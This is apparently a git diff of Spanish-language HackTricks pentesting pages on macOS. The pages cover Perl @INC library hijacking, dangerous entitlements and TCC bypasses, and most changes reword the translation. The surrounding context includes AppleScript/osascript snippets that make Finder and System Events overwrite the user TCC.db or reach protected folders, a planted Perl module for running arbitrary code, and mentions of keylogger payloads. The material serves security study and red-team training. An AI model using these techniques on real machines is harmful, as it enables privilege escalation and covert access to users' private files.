* **Dificultades para Localizar Instancias**: La búsqueda de instancias de uso de `xpc_connection_get_audit_token` fue desafiante, tanto estática como dinámicamente.
|
||||
* **Metodología**: Se empleó Frida para enganchar la función `xpc_connection_get_audit_token`, filtrando llamadas que no se originaban desde manejadores de eventos. Sin embargo, este método estaba limitado al proceso enganchado y requería un uso activo.
|
||||
* **Herramientas de Análisis**: Se utilizaron herramientas como IDA/Ghidra para examinar los servicios mach alcanzables, pero el proceso fue lento, complicado por llamadas que involucraban la caché compartida de dyld.
|
||||
* **Limitaciones de Scripting**: Los intentos de escribir un script para el análisis de llamadas a `xpc_connection_get_audit_token` desde bloques `dispatch_async` se vieron obstaculizados por complejidades en el análisis de bloques e interacciones con la caché compartida de dyld.
|
||||
* **Herramientas de Análisis**: Se utilizaron herramientas como IDA/Ghidra para examinar servicios mach alcanzables, pero el proceso fue lento, complicado por llamadas que involucraban la caché compartida dyld.
|
||||
* **Limitaciones de Scripting**: Los intentos de escribir un script para el análisis de llamadas a `xpc_connection_get_audit_token` desde bloques `dispatch_async` se vieron obstaculizados por complejidades en el análisis de bloques e interacciones con la caché compartida dyld.
|
||||
|
||||
## La solución <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -52,7 +52,7 @@ Es posible listar el orden de la carpeta de dependencias de Perl en ejecución:
|
|||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Lo que devolverá algo así:
|
||||
Lo que devolverá algo como:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
|
@ -64,13 +64,13 @@ Lo que devolverá algo así:
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Algunas de las carpetas devueltas ni siquiera existen, sin embargo, **`/Library/Perl/5.30`** sí **existe**, no está **protegida** por **SIP** y está **antes** de las carpetas **protegidas por SIP**. Por lo tanto, alguien podría abusar de esa carpeta para agregar dependencias de scripts allí, de modo que un script Perl de alto privilegio las cargue.
|
||||
Algunas de las carpetas devueltas ni siquiera existen, sin embargo, **`/Library/Perl/5.30`** sí **existe**, no está **protegida** por **SIP** y está **antes** de las carpetas **protegidas por SIP**. Por lo tanto, alguien podría abusar de esa carpeta para agregar dependencias de scripts allí para que un script Perl de alto privilegio las cargue.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sin embargo, ten en cuenta que **necesitas ser root para escribir en esa carpeta** y hoy en día obtendrás este **aviso de TCC**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Por ejemplo, si un script está importando **`use File::Basename;`** sería posible crear `/Library/Perl/5.30/File/Basename.pm` para hacer que ejecute código arbitrario.
|
||||
|
||||
|
@ -80,7 +80,7 @@ Por ejemplo, si un script está importando **`use File::Basename;`** sería posi
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -42,11 +42,11 @@ Las aplicaciones con el Entitlement de Herramienta de Depuración pueden llamar
|
|||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Este entitlement permite **cargar frameworks, complementos o bibliotecas sin estar firmados por Apple o firmados con el mismo ID de equipo** que el ejecutable principal, por lo que un atacante podría abusar de alguna carga arbitraria de biblioteca para inyectar código. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
Este entitlement permite **cargar frameworks, complementos o bibliotecas sin estar firmados por Apple o firmados con el mismo ID de equipo** que el ejecutable principal, por lo que un atacante podría abusar de alguna carga de biblioteca arbitraria para inyectar código. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Este entitlement es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de deshabilitar directamente** la validación de biblioteca, permite al proceso **llamar a una llamada de sistema `csops` para deshabilitarla**.\
|
||||
Este entitlement es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de deshabilitar directamente** la validación de la biblioteca, permite al proceso **llamar a una llamada al sistema `csops` para deshabilitarla**.\
|
||||
Consulta [**esto para más información**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
@ -55,7 +55,7 @@ Este entitlement permite **utilizar variables de entorno DYLD** que podrían usa
|
|||
|
||||
### `com.apple.private.tcc.manager` o `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
Según [**este blog**](https://objective-see.org/blog/blog\_0x4C.html) **y** [**este blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), estos entitlements permiten **modificar** la **base de datos TCC**.
|
||||
[**Según este blog**](https://objective-see.org/blog/blog\_0x4C.html) **y** [**este blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), estos entitlements permiten **modificar** la **base de datos TCC**.
|
||||
|
||||
### **`system.install.apple-software`** y **`system.install.apple-software.standar-user`**
|
||||
|
||||
|
@ -79,11 +79,11 @@ POR HACER: No sé qué permite hacer esto
|
|||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
POR HACER: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabes cómo, ¡envía un PR por favor!
|
||||
POR HACER: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabes cómo hacerlo, ¡envía un PR por favor!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
POR HACER: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabes cómo, ¡envía un PR por favor!
|
||||
POR HACER: En [**este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se menciona que esto podría usarse para** actualizar los contenidos protegidos por SSV después de un reinicio. Si sabes cómo hacerlo, ¡envía un PR por favor!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
|
@ -104,9 +104,9 @@ Proporciona permisos de **Acceso completo al disco**, uno de los permisos más a
|
|||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
Permite que la aplicación envíe eventos a otras aplicaciones que se utilizan comúnmente para **automatizar tareas**. Al controlar otras aplicaciones, puede abusar de los permisos otorgados a esas otras aplicaciones.
|
||||
Permite que la aplicación envíe eventos a otras aplicaciones que se utilizan comúnmente para **automatizar tareas**. Al controlar otras aplicaciones, puede abusar de los permisos otorgados a estas otras aplicaciones.
|
||||
|
||||
Como hacer que le pidan al usuario su contraseña:
|
||||
Como hacer que le pidan la contraseña al usuario:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -128,9 +128,9 @@ Permite **cambiar** el atributo **`NFSHomeDirectory`** de un usuario que cambia
|
|||
|
||||
Permite modificar archivos dentro de los paquetes de aplicaciones (dentro de app.app), lo cual está **desactivado por defecto**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es posible verificar quién tiene este acceso en _Configuración del Sistema_ > _Privacidad y Seguridad_ > _Gestión de Aplicaciones_.
|
||||
Es posible verificar quién tiene este acceso en _Configuración del Sistema_ > _Privacidad y Seguridad_ > _Gestión de Aplicaciones._
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
|
@ -140,11 +140,11 @@ El proceso podrá **abusar de las funciones de accesibilidad de macOS**, lo que
|
|||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Este permiso permite **crear memoria que es escribible y ejecutable** al pasar la bandera `MAP_JIT` a la función del sistema `mmap()`. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
Este permiso permite **crear memoria que es escribible y ejecutable** pasando la bandera `MAP_JIT` a la función del sistema `mmap()`. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Este permiso permite **anular o parchear código C**, usar el obsoleto **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro), o usar el marco **DVDPlayback**. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
Este permiso permite **anular o parchear código C**, usar el **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro), o usar el framework **DVDPlayback**. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Incluir este permiso expone tu aplicación a vulnerabilidades comunes en lenguajes de código no seguros en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción.
|
||||
|
@ -186,9 +186,9 @@ Permitir que el proceso **solicite todos los permisos de TCC**.
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -32,16 +32,16 @@ ps -ef | grep tcc
|
|||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
Los permisos son **heredados del padre** de la aplicación y los **permisos** se **rastrean** en base al **ID del paquete** y al **ID del desarrollador**.
|
||||
Los permisos son **heredados del padre** de la aplicación y los **permisos** se **rastrean** en base al **ID del Paquete** y al **ID del Desarrollador**.
|
||||
|
||||
### Bases de datos de TCC
|
||||
|
||||
Las autorizaciones/negaciones se almacenan en algunas bases de datos de TCC:
|
||||
|
||||
- La base de datos de todo el sistema en **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Esta base de datos está **protegida por SIP**, por lo que solo se puede escribir en ella con un bypass de SIP.
|
||||
- La base de datos de TCC del usuario **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferencias por usuario.
|
||||
- Esta base de datos está protegida, por lo que solo los procesos con altos privilegios de TCC como Acceso Total al Disco pueden escribir en ella (pero no está protegida por SIP).
|
||||
* La base de datos de todo el sistema en **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Esta base de datos está **protegida por SIP**, por lo que solo se puede escribir en ella mediante un bypass de SIP.
|
||||
* La base de datos de TCC del usuario **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferencias por usuario.
|
||||
* Esta base de datos está protegida, por lo que solo los procesos con altos privilegios de TCC como Acceso Completo al Disco pueden escribir en ella (pero no está protegida por SIP).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Las bases de datos anteriores también están **protegidas por TCC para el acceso de lectura**. Por lo tanto, **no podrás leer** tu base de datos de TCC de usuario regular a menos que sea desde un proceso con privilegios de TCC.
|
||||
|
@ -49,10 +49,10 @@ Las bases de datos anteriores también están **protegidas por TCC para el acces
|
|||
Sin embargo, recuerda que un proceso con estos altos privilegios (como **FDA** o **`kTCCServiceEndpointSecurityClient`**) podrá escribir en la base de datos de TCC de usuarios.
|
||||
{% endhint %}
|
||||
|
||||
- Existe una **tercera** base de datos de TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**.
|
||||
- El archivo protegido por SIP **`/Users/carlospolop/Downloads/REG.db`** (también protegido del acceso de lectura con TCC), contiene la **ubicación** de todas las **bases de datos de TCC válidas**.
|
||||
- El archivo protegido por SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (también protegido del acceso de lectura con TCC), contiene más permisos otorgados por TCC.
|
||||
- El archivo protegido por SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (pero legible por cualquiera) es una lista de aplicaciones que requieren una excepción de TCC.
|
||||
* Existe una **tercera** base de datos de TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**.
|
||||
* El archivo protegido por SIP **`/Users/carlospolop/Downloads/REG.db`** (también protegido del acceso de lectura con TCC), contiene la **ubicación** de todas las **bases de datos de TCC válidas**.
|
||||
* El archivo protegido por SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (también protegido del acceso de lectura con TCC), contiene más permisos otorgados por TCC.
|
||||
* El archivo protegido por SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (pero legible por cualquiera) es una lista de aplicaciones que requieren una excepción de TCC.
|
||||
|
||||
{% hint style="success" %}
|
||||
La base de datos de TCC en **iOS** se encuentra en **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
|
@ -173,8 +173,8 @@ Simplemente haz **`launctl load tu_bin.plist`**, con un plist como:
|
|||
```
|
||||
</details>
|
||||
|
||||
* El campo **`auth_value`** puede tener diferentes valores: denegado(0), desconocido(1), permitido(2) o limitado(3).
|
||||
* El campo **`auth_reason`** puede tomar los siguientes valores: Error(1), Consentimiento del usuario(2), Configurado por el usuario(3), Configurado por el sistema(4), Política de servicio(5), Política de MDM(6), Política de anulación(7), Cadena de uso faltante(8), Tiempo de espera de aviso(9), Desconocido en preinicio(10), Con derecho(11), Política de tipo de aplicación(12)
|
||||
* El **`auth_value`** puede tener diferentes valores: denegado(0), desconocido(1), permitido(2) o limitado(3).
|
||||
* El **`auth_reason`** puede tomar los siguientes valores: Error(1), Consentimiento del usuario(2), Configurado por el usuario(3), Configurado por el sistema(4), Política de servicio(5), Política de MDM(6), Política de anulación(7), Cadena de uso faltante(8), Tiempo de espera de aviso(9), Preflight desconocido(10), Con derecho(11), Política de tipo de aplicación(12)
|
||||
* El campo **csreq** está ahí para indicar cómo verificar el binario a ejecutar y otorgar los permisos de TCC:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
|
@ -207,7 +207,7 @@ tccutil reset All app.some.id
|
|||
# Reset the permissions granted to all apps
|
||||
tccutil reset All
|
||||
```
|
||||
### Verificación de Firmas TCC
|
||||
### Verificación de Firmas de TCC
|
||||
|
||||
La **base de datos** de TCC almacena el **ID del Paquete** de la aplicación, pero también **almacena** **información** sobre la **firma** para **asegurarse** de que la aplicación que solicita usar un permiso sea la correcta.
|
||||
|
||||
|
@ -232,11 +232,11 @@ Por lo tanto, otras aplicaciones que utilicen el mismo nombre y ID de paquete no
|
|||
### Permisos de Entitlements y TCC
|
||||
|
||||
Las aplicaciones **no solo necesitan** solicitar y haber **obtenido acceso** a algunos recursos, también necesitan **tener los entitlements relevantes**.\
|
||||
Por ejemplo, **Telegram** tiene el entitlement `com.apple.security.device.camera` para solicitar **acceso a la cámara**. Una **aplicación** que **no tenga** este **entitlement no podrá** acceder a la cámara (y al usuario ni siquiera se le pedirá los permisos).
|
||||
Por ejemplo, **Telegram** tiene el entitlement `com.apple.security.device.camera` para solicitar **acceso a la cámara**. Una **aplicación** que **no tenga** este **entitlement no podrá** acceder a la cámara (y ni siquiera se le pedirá permiso al usuario).
|
||||
|
||||
Sin embargo, para que las aplicaciones **accedan a ciertas carpetas de usuario**, como `~/Desktop`, `~/Downloads` y `~/Documents`, **no necesitan** tener ningún **entitlement específico.** El sistema manejará el acceso de forma transparente y **solicitará permiso al usuario** según sea necesario.
|
||||
Sin embargo, para que las aplicaciones **accedan a ciertas carpetas de usuario**, como `~/Desktop`, `~/Downloads` y `~/Documents`, **no necesitan** tener ningún **entitlement específico**. El sistema manejará el acceso de forma transparente y **solicitará permiso al usuario** según sea necesario.
|
||||
|
||||
Las aplicaciones de Apple **no generarán solicitudes**. Contienen **derechos preconcedidos** en su **lista de entitlements**, lo que significa que **nunca generarán un popup**, **ni** aparecerán en ninguna de las **bases de datos de TCC.** Por ejemplo:
|
||||
Las aplicaciones de Apple **no generarán solicitudes**. Contienen **derechos preconcedidos** en su lista de **entitlements**, lo que significa que **nunca generarán un popup**, **ni** aparecerán en ninguna de las **bases de datos de TCC**. Por ejemplo:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -255,9 +255,9 @@ Además de alguna documentación oficial sobre permisos, también es posible enc
|
|||
|
||||
Algunos permisos de TCC son: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... No hay una lista pública que defina todos ellos, pero puedes consultar esta [**lista de los conocidos**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
|
||||
|
||||
### Lugares sensibles desprotegidos
|
||||
### Lugares sensibles no protegidos
|
||||
|
||||
* $HOME (él mismo)
|
||||
* $HOME (por sí mismo)
|
||||
* $HOME/.ssh, $HOME/.aws, etc
|
||||
* /tmp
|
||||
|
||||
|
@ -347,7 +347,7 @@ Si lograste ingresar a una aplicación con algunos permisos de TCC, consulta la
|
|||
### Automatización (Finder) a FDA\*
|
||||
|
||||
El nombre de TCC del permiso de Automatización es: **`kTCCServiceAppleEvents`**\
|
||||
Este permiso específico de TCC también indica la **aplicación que puede ser gestionada** dentro de la base de datos de TCC (por lo que los permisos no permiten gestionar todo).
|
||||
Este permiso de TCC específico también indica la **aplicación que puede ser gestionada** dentro de la base de datos de TCC (por lo que los permisos no permiten gestionar todo).
|
||||
|
||||
**Finder** es una aplicación que **siempre tiene FDA** (incluso si no aparece en la interfaz de usuario), por lo que si tienes privilegios de **Automatización** sobre ella, puedes abusar de sus privilegios para **hacer que realice algunas acciones**.\
|
||||
En este caso, tu aplicación necesitaría el permiso **`kTCCServiceAppleEvents`** sobre **`com.apple.Finder`**.
|
||||
|
@ -390,10 +390,10 @@ Por lo tanto, no podrás abusar de todas las capacidades de FDA.
|
|||
|
||||
Este es el aviso de TCC para obtener privilegios de Automatización sobre Finder:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que debido a que la aplicación **Automator** tiene el permiso de TCC **`kTCCServiceAppleEvents`**, puede **controlar cualquier aplicación**, como Finder. Por lo tanto, al tener el permiso para controlar Automator, también podrías controlar el **Finder** con un código como el siguiente:
|
||||
Ten en cuenta que debido a que la aplicación **Automator** tiene el permiso TCC **`kTCCServiceAppleEvents`**, puede **controlar cualquier aplicación**, como Finder. Por lo tanto, al tener el permiso para controlar Automator, también podrías controlar el **Finder** con un código como el siguiente:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -424,7 +424,7 @@ Lo mismo ocurre con la **aplicación Script Editor,** puede controlar Finder, pe
|
|||
|
||||
### Automatización (SE) para algunos TCC
|
||||
|
||||
**System Events puede crear Acciones de Carpeta, y las Acciones de Carpeta pueden acceder a algunas carpetas TCC** (Escritorio, Documentos y Descargas), por lo que un script como el siguiente se puede utilizar para abusar de este comportamiento:
|
||||
**System Events puede crear Acciones de Carpeta, y las Acciones de Carpeta pueden acceder a algunas carpetas de TCC** (Escritorio, Documentos y Descargas), por lo que un script como el siguiente se puede utilizar para abusar de este comportamiento:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -468,9 +468,9 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### Automatización (SE) + Accesibilidad (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** a FDA\*
|
||||
|
||||
La automatización en **`System Events`** + Accesibilidad (**`kTCCServicePostEvent`**) permite enviar **pulsaciones de teclas a procesos**. De esta manera, podrías abusar de Finder para cambiar la base de datos TCC del usuario o para otorgar FDA a una aplicación arbitraria (aunque se podría solicitar la contraseña para esto).
|
||||
La automatización en **`System Events`** + Accesibilidad (**`kTCCServicePostEvent`**) permite enviar **pulsaciones de teclas a procesos**. De esta manera, podrías abusar de Finder para cambiar la base de datos TCC.db de los usuarios o para otorgar FDA a una aplicación arbitraria (aunque se podría solicitar una contraseña para esto).
|
||||
|
||||
Ejemplo de sobrescritura de la base de datos TCC del usuario por Finder:
|
||||
Ejemplo de sobrescritura de TCC.db de usuarios por Finder:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -518,7 +518,7 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility` a FDA\*
|
||||
|
||||
Consulte esta página para obtener algunos [**payloads para abusar de los permisos de Accesibilidad**](macos-tcc-payloads.md#accessibility) para escalar privilegios a FDA\* o ejecutar un keylogger, por ejemplo.
|
||||
Consulte esta página para obtener algunos [**cargas útiles para abusar de los permisos de Accesibilidad**](macos-tcc-payloads.md#accessibility) para escalar privilegios a FDA\* o ejecutar un keylogger, por ejemplo.
|
||||
|
||||
### **Cliente de Seguridad de Punto Final a FDA**
|
||||
|
||||
|
@ -526,11 +526,11 @@ Si tiene **`kTCCServiceEndpointSecurityClient`**, tiene FDA. Fin.
|
|||
|
||||
### Política del Sistema Archivos de SysAdmin a FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** permite **cambiar** el atributo **`NFSHomeDirectory`** de un usuario que cambia su carpeta de inicio y por lo tanto permite **burlar TCC**.
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** permite **cambiar** el atributo **`NFSHomeDirectory`** de un usuario que cambia su carpeta de inicio y, por lo tanto, permite **burlar TCC**.
|
||||
|
||||
### Base de Datos TCC de Usuario a FDA
|
||||
|
||||
Obteniendo **permisos de escritura** sobre la **base de datos TCC** del usuario no puedes otorgarte permisos de **`FDA`**, solo el que reside en la base de datos del sistema puede otorgarlo.
|
||||
Obteniendo **permisos de escritura** sobre la **base de datos TCC** del usuario no puedes otorgarte permisos de **`FDA`**, solo el que reside en la base de datos del sistema puede otorgar eso.
|
||||
|
||||
Pero puedes otorgarte **`Derechos de Automatización a Finder`**, y abusar de la técnica anterior para escalar a FDA\*.
|
||||
|
||||
|
@ -538,11 +538,11 @@ Pero puedes otorgarte **`Derechos de Automatización a Finder`**, y abusar de la
|
|||
|
||||
El nombre de TCC para **Acceso Completo al Disco** es **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
No creo que esto sea realmente un escalado de privilegios, pero por si acaso te resulta útil: Si controlas un programa con FDA puedes **modificar la base de datos TCC de los usuarios y otorgarte cualquier acceso**. Esto puede ser útil como técnica de persistencia en caso de que pierdas tus permisos de FDA.
|
||||
No creo que esto sea un verdadero escalado de privilegios, pero por si acaso te resulta útil: Si controlas un programa con FDA puedes **modificar la base de datos TCC de los usuarios y otorgarte cualquier acceso**. Esto puede ser útil como técnica de persistencia en caso de que pierdas tus permisos de FDA.
|
||||
|
||||
### **Bypass de SIP a Bypass de TCC**
|
||||
|
||||
La base de datos del sistema **TCC** está protegida por **SIP**, por eso solo los procesos con las **capacidades indicadas podrán modificarla**. Por lo tanto, si un atacante encuentra un **bypass de SIP** sobre un **archivo** (puede modificar un archivo restringido por SIP), podrá:
|
||||
La base de datos del sistema **TCC** está protegida por **SIP**, por eso solo los procesos con los **derechos indicados podrán modificarla**. Por lo tanto, si un atacante encuentra un **bypass de SIP** sobre un **archivo** (puede modificar un archivo restringido por SIP), podrá:
|
||||
|
||||
* **Eliminar la protección** de una base de datos TCC y otorgarse todos los permisos de TCC. Podría abusar de cualquiera de estos archivos, por ejemplo:
|
||||
* La base de datos de sistemas TCC
|
||||
|
|
|
@ -7,10 +7,10 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
